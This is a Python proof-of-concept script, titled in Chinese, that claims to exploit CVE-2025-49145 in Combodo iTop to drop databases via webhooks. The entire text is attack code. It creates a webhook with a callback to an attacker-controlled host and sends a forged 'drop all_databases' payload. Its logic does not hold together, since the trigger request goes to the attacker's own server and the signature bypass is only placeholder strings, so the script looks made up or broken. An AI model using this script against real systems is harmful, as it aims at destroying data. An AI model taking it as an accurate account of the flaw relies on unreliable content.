CVE-2025-49145: Combodo iTop权限用户可通过webhook删除数据库

# CVE-2025-49145 PoC - Combodo iTop Database Drop via Webhook # This PoC demonstrates the vulnerability where authenticated users with # webhook creation privileges can trigger database deletion import requests import json TARGET_URL = "https://target-itop-instance.com" API_KEY = "your_api_key_with_webhook_privileges" def create_malicious_webhook(): """ Create a webhook with malicious callback configuration that exploits insufficient signature verification """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious webhook configuration webhook_config = { "name": "Malicious Webhook", "callback_url": "http://attacker-controlled-site.com/callback", "secret": "manipulated_secret_for_signature_bypass", "events": ["*"], "enabled": True, "options": { "verify_ssl": False, "timeout": 30, "retry_on_failure": True } } response = requests.post( f"{TARGET_URL}/api/v1/webhooks", headers=headers, json=webhook_config ) if response.status_code == 201: webhook_id = response.json().get('id') print(f"[+] Malicious webhook created with ID: {webhook_id}") return webhook_id else: print(f"[-] Failed to create webhook: {response.text}") return None def trigger_database_drop(webhook_id): """ Trigger the webhook callback to exploit the vulnerability and execute database drop operation """ # Craft malicious callback request callback_payload = { "event": "database_operation", "action": "drop", "target": "all_databases", "signature": "forged_signature_to_bypass_verification" } # Send callback to trigger the vulnerability response = requests.post( f"http://attacker-controlled-site.com/trigger/{webhook_id}", json=callback_payload ) print(f"[*] Callback triggered: {response.status_code}") return response.status_code == 200 def main(): print("[*] CVE-2025-49145 PoC - iTop Database Drop via Webhook") print("[*] Target: Combodo iTop < 2.7.13 or < 3.2.2") # Step 1: Create malicious webhook webhook_id = create_malicious_webhook() if not webhook_id: print("[-] Exploitation failed: Unable to create webhook") return # Step 2: Trigger the database drop if trigger_database_drop(webhook_id): print("[+] Database drop operation triggered successfully") print("[!] Target database has been compromised") else: print("[-] Exploitation failed") if __name__ == "__main__": main()